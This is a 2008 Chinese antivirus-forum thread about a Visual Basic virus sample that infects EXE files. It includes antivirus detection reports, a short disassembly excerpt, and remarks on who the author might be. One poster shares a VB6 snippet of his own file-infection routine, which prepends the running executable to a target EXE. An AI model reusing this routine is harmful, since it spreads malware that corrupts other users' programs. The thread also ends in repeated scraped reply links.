感染EXE的磁碟机 = = 又素Lucky star

显示全部楼层 · 发表于 2008-6-8 23:37:21

费尔主动防御也可以拦截。。。。不错，有进步，呵呵

显示全部楼层 · 发表于 2008-6-9 07:34:56

赶紧上报金山

显示全部楼层 · 发表于 2008-6-9 08:39:56

显示全部楼层 · 发表于 2008-6-9 09:44:24

004018CA       - FF25 28114000    jmp dword ptr ds:[401128]                         ; MSVBVM60.ThunRTMain
004018D0       68 488F4000       push avp.00408F48
004018D5       E8 F0FFFFFF       call avp.004018CA                                  ; jmp to MSVBVM60.ThunRTMain

传说中的vb，路过

显示全部楼层 · 发表于 2008-6-9 09:53:58

所有VB程序里面都包含了它工程文件的路径工程文件在桌面它的作者就基本浮出水面了

至于过程，估计就只有那几个，API声明也只有那些，因为它只有一个窗体还没有模块=_=

追加感染跟偶以前做的一个有点像

dim a() as byte,b() as byte
open app.path & "\" & app.exename & ".exe" for binary as #1
a=inputb(lof(1),#1)
close #1
open TARGET for binary as #1
b=inputb(lof(1),#1)
put #1,,a()
put #1,ubound(a)+1,b()
close #1

显示全部楼层 · 发表于 2008-6-9 10:09:39

25039969 avp.exe 64.5 KB UNDER ANALYSIS
唉，红伞周末不升级，一个都扫不出来。

显示全部楼层 · 发表于 2008-6-9 10:20:55

还是有点厉害,红伞和AVK都过了.

显示全部楼层 · 发表于 2008-6-9 10:22:21

大蜘蛛也过了.

显示全部楼层 · 发表于 2008-6-9 11:07:51

我知道是谁那个挑衅偶得~
鄙视我VB没他强结果天天在机房搞病毒

显示全部楼层 · 发表于 2008-6-9 11:38:49

果然强人，这都认识

[病毒样本] 感染EXE的磁碟机 = = 又素Lucky star

本帖子中包含更多资源

回复 20楼拍黄瓜的帖子

回复 25楼 qianwenxiang 的帖子

回复 29楼拍黄瓜的帖子

[病毒样本] 感染EXE的磁碟机 = = 又素Lucky star

本帖子中包含更多资源

回复 20楼 拍黄瓜 的帖子

回复 25楼 qianwenxiang 的帖子

回复 29楼 拍黄瓜 的帖子

回复 20楼拍黄瓜的帖子

回复 29楼拍黄瓜的帖子